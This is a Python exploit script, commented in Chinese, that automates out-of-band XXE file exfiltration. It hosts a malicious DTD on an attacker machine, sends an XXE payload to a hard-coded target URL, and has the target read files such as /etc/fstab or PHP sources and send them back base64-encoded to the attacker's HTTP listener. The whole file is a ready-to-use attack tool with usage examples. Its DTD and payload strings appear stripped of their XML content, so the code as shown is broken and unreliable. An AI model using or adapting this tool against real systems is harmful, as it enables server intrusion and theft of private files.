#!/usr/bin/env python3 """ OOB (Out-of-Band) XXE 数据外传脚本 通过外部 DTD + HTTP 服务器将目标文件以 base64 编码外传到攻击机 原理: 1. Kali 启动 HTTP 服务器,托管恶意 DTD 文件 2. DTD 中使用 php://filter 读取目标文件并 base64 编码 3. 编码后内容通过 HTTP 请求参数回传 用法: python3 oob-xxe.py -f /etc/hostname python3 oob-xxe.py -f /etc/fstab -p 8888 python3 oob-xxe.py -f /var/www/html/index.php --kali 10.0.0.1 """ import requests import base64 import threading import time import argparse import os import sys import socketserver import http.server TARGET = "http://192.168.1.102/" HTTP_PORT = 7777 # 全局存储外传结果 _results = {} class ExfilHandler(http.server.SimpleHTTPRequestHandler): """处理外传数据的 HTTP 请求""" def do_GET(self): if '?d=' in self.path: try: raw = self.path.split('?d=')[1].split(' ')[0] decoded = base64.b64decode(raw).decode('utf-8', errors='replace') _results[self.path] = decoded print(f"\n[+] 外传成功 ({len(decoded)} bytes):") print(decoded) except Exception as e: print(f"\n[-] 解码失败: {e}") self.send_response(200) self.end_headers() self.wfile.write(b"OK") return # 其他请求(如 /name.dtd)必须按静态文件返回 DTD 内容, # 否则目标只能拿到 "OK",不会触发二次外带。 return super().do_GET() def log_message(self, format, *args): msg = args[0] if args else '' if '.dtd' in msg: print(f"[*] DTD 已请求: {msg}") elif '?d=' in msg: pass # do_GET 已打印数据 # 忽略其他日志 class ReusableTCPServer(socketserver.TCPServer): allow_reuse_address = True def create_dtd(filepath, name, kali_ip, port=HTTP_PORT): """创建恶意 DTD 文件""" # 注意:每条 ENTITY 声明必须独占一行,PHP libxml2 对单行拼接敏感 dtd = ( f'\n' f'">\n' f'%param1;\n' f'%exfil;' ) dtd_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), f"{name}.dtd") with open(dtd_path, "w") as f: f.write(dtd) print(f"[+] DTD 已创建: {dtd_path}") print(f" 目标文件: {filepath}") return dtd_path def exfiltrate(name, target=TARGET, kali_ip="192.168.1.113", port=HTTP_PORT): """发送 XXE payload 触发外传""" payload = ( '' '%xxe;' ']>a' ) # 注意:不能使用 data={'xml': payload},requests 会将 % 编码为 %25 # 必须手动构造 form-urlencoded 格式,保留 % 字符原样 body = f'xml={payload}' try: r = requests.post(target, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, timeout=15) # OOB XXE 触发后,目标页面可能仍返回 Parse Error; # 是否成功以本地 HTTP 服务器是否收到 ?d= 外带请求为准。 print(f"[+] {name}: payload 已发送,等待回传...") return True except requests.exceptions.Timeout: print(f"[-] {name}: 请求超时") return False except requests.exceptions.ConnectionError: print(f"[-] {name}: 无法连接目标 {target}") return False def main(): parser = argparse.ArgumentParser( description='OOB XXE 文件外传', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' 示例: python3 oob-xxe.py -f /etc/hostname python3 oob-xxe.py -f /etc/fstab -p 8888 python3 oob-xxe.py -f /var/www/html/index.php --kali 10.0.0.1 ''' ) parser.add_argument('-f', '--file', required=True, help='目标文件绝对路径') parser.add_argument('-t', '--target', default=TARGET, help=f'目标 URL (默认: {TARGET})') parser.add_argument('--kali', default='192.168.1.113', help='Kali IP (默认: 192.168.1.113)') parser.add_argument('-p', '--port', type=int, default=HTTP_PORT, help=f'HTTP 端口 (默认: {HTTP_PORT})') parser.add_argument('-n', '--name', help='任务名 (默认从文件路径生成)') args = parser.parse_args() if args.name is None: args.name = os.path.basename(args.file).replace('.', '_') # 切换到脚本所在目录,确保 SimpleHTTPRequestHandler 能找到刚创建的 DTD os.chdir(os.path.dirname(os.path.abspath(__file__))) # 启动服务器(后台守护线程) server = ReusableTCPServer(("0.0.0.0", args.port), ExfilHandler) server_thread = threading.Thread(target=server.serve_forever, daemon=True) server_thread.start() time.sleep(0.5) print(f"[*] HTTP 服务器启动在 0.0.0.0:{args.port}") # 创建 DTD create_dtd(args.file, args.name, args.kali, args.port) # 触发外传 success = exfiltrate(args.name, target=args.target, kali_ip=args.kali, port=args.port) if not success: print("\n[-] 外传失败,检查目标是否可达及文件是否存在") server.shutdown() sys.exit(1) # 等待回传 print("[*] 等待外传请求...") deadline = time.time() + 10 while time.time() < deadline: if _results: print(f"\n[+] 外传成功!{args.file}") break time.sleep(0.5) else: print("\n[-] 超时:未收到外传数据") server.shutdown() server.server_close() print("[*] 服务器已关闭") if __name__ == '__main__': main()